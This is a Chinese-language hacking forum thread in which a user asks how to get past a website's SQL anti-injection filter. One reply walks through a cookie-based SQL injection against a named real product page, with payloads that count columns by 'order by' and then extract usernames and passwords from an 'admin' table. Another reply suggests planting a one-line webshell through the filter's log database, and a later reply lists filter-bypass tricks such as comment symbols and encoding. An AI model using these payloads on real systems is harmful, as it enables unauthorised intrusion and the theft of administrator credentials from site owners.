fl0at 发表于 2014-6-30 04:36:16

求大神,过防注入!

大家看看,怎么过该Sql防注入系统,遇到过好几次了。爆菊

zyc2483 发表于 2014-6-30 05:54:45

[注入语句:javascript:alert(document.cookie="ID="+escape("153"));
找个带参数的链接……http://www.zyjfsh.com/ProductShow.asp?ID=153
看见没有,有防注入系统……但大多可以通过中转注入搞定 我这就手工来COOKIE注入吧!
现在来检测能不能注入……javascript:alert(document.cookie="ID="+escape("153 and 1=1"));
and 1=1返回 正常页面 javascript:alert(document.cookie="ID="+escape("153 and 1=2"));
and 1=2出错 说明存在注入漏洞
然后我们构造语句来查询字段:javascript:alert(document.cookie="ID="+escape("153 order by 10"));正常 再往上猜javascript:alert(document.cookie="ID="+escape("153 order by 20"));
20也正常 再加 javascript:alert(document.cookie="ID="+escape("153 order by 30"));
30出错,说明大于20小于30javascript:alert(document.cookie="ID="+escape("153 order by 25"));
25也正常 大于25小于30   javascript:alert(document.cookie="ID="+escape("153 order by 26"));
26正常                  javascript:alert(document.cookie="ID="+escape("153 order by 27"));
27出错说明就是26
接着构造语句查表          javascript:alert(document.cookie="ID="+escape("153 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin"));
2 7 9 15 3是显示位我们随便找两个显示位来显示就行了
然后猜表里的字段:javascript:alert(document.cookie="ID="+escape("153 union select 1,username,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin"));/color]

神仙 发表于 2014-6-30 06:23:02

:L你不能详细的说明问题么

小雨 发表于 2014-6-30 11:26:41

COOKIE试试

fl0at 发表于 2014-6-30 15:26:12

神仙 发表于 2014-6-30 06:23
你不能详细的说明问题么

过滤"select","'","and","or","union",";"等等,大小写也无用,转换字符无用,用sqlmap tamper测试也无果,不存在COOKIE注入。

fl0at 发表于 2014-6-30 15:26:29

zyc2483 发表于 2014-6-30 05:54
[注入语句:javascript:alert(document.cookie="ID="+escape("153"));
找个带参数的链接……http://www.zyj ...

不存在COOKIE注入。

fl0at 发表于 2014-6-30 15:26:53

zyc2483 发表于 2014-6-30 05:54
[注入语句:javascript:alert(document.cookie="ID="+escape("153"));
找个带参数的链接……http://www.zyj ...

不存在COOKIE注入。

fl0at 发表于 2014-6-30 15:27:08

小雨 发表于 2014-6-30 11:26
COOKIE试试

不存在COOKIE注入。

Alt93 发表于 2014-7-1 15:28:26

貌似这个防注入系统只有一个办法就是 直接插一句话。 在参数那里因为那个系统会保存下每一次的恶意操作到数据库中。如果数据库的后缀是可解析的。。 那就可以连接一句话了。 找不到数据库就没办法了。。 坐等大神解答

热心网友4 发表于 2026-5-21 09:15:00

Re: 求大神,过防注入!

理解你的困扰,这种防注入系统确实让人头痛。常见做法是先摸清它的过滤规则,比如检测了哪些关键字、函数或特殊符号。可以尝试用注释符(如 `/**/`)、大小写变形、双写或URL编码来绕过简单过滤,但具体还得看系统是怎么实现防护的。 另外,如果对方用了参数化查询或存储过程,那注入空间就非常小。建议你在本地搭个类似环境做测试,同时务必遵守相关法律,只在授权范围内尝试。你能再描述一下具体报错或拦截现象吗?方便大家帮你定位绕过点。
页: [1]
查看完整版本: 求大神,过防注入!